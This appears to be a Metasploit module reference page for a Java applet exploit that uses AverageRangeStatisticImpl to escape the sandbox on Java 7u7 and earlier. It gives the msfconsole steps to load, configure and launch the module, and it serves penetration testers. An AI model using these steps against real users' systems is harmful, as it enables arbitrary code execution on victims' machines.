This module abuses the AverageRangeStatisticImpl from a Java Applet to run arbitrary Java code outside of the sandbox, a different exploit vector than the one exploited in the wild in November of 2012. The vulnerability affects Java version 7u7 and earlier.
Java,Linux,OSX,Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/browser/java_jre17_glassfish_averagerangestatisticimpl
msf exploit(java_jre17_glassfish_averagerangestatisticimpl) > show targets
...targets...
msf exploit(java_jre17_glassfish_averagerangestatisticimpl) > set TARGET < target-id >
msf exploit(java_jre17_glassfish_averagerangestatisticimpl) > show options
...show and set options...
msf exploit(java_jre17_glassfish_averagerangestatisticimpl) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security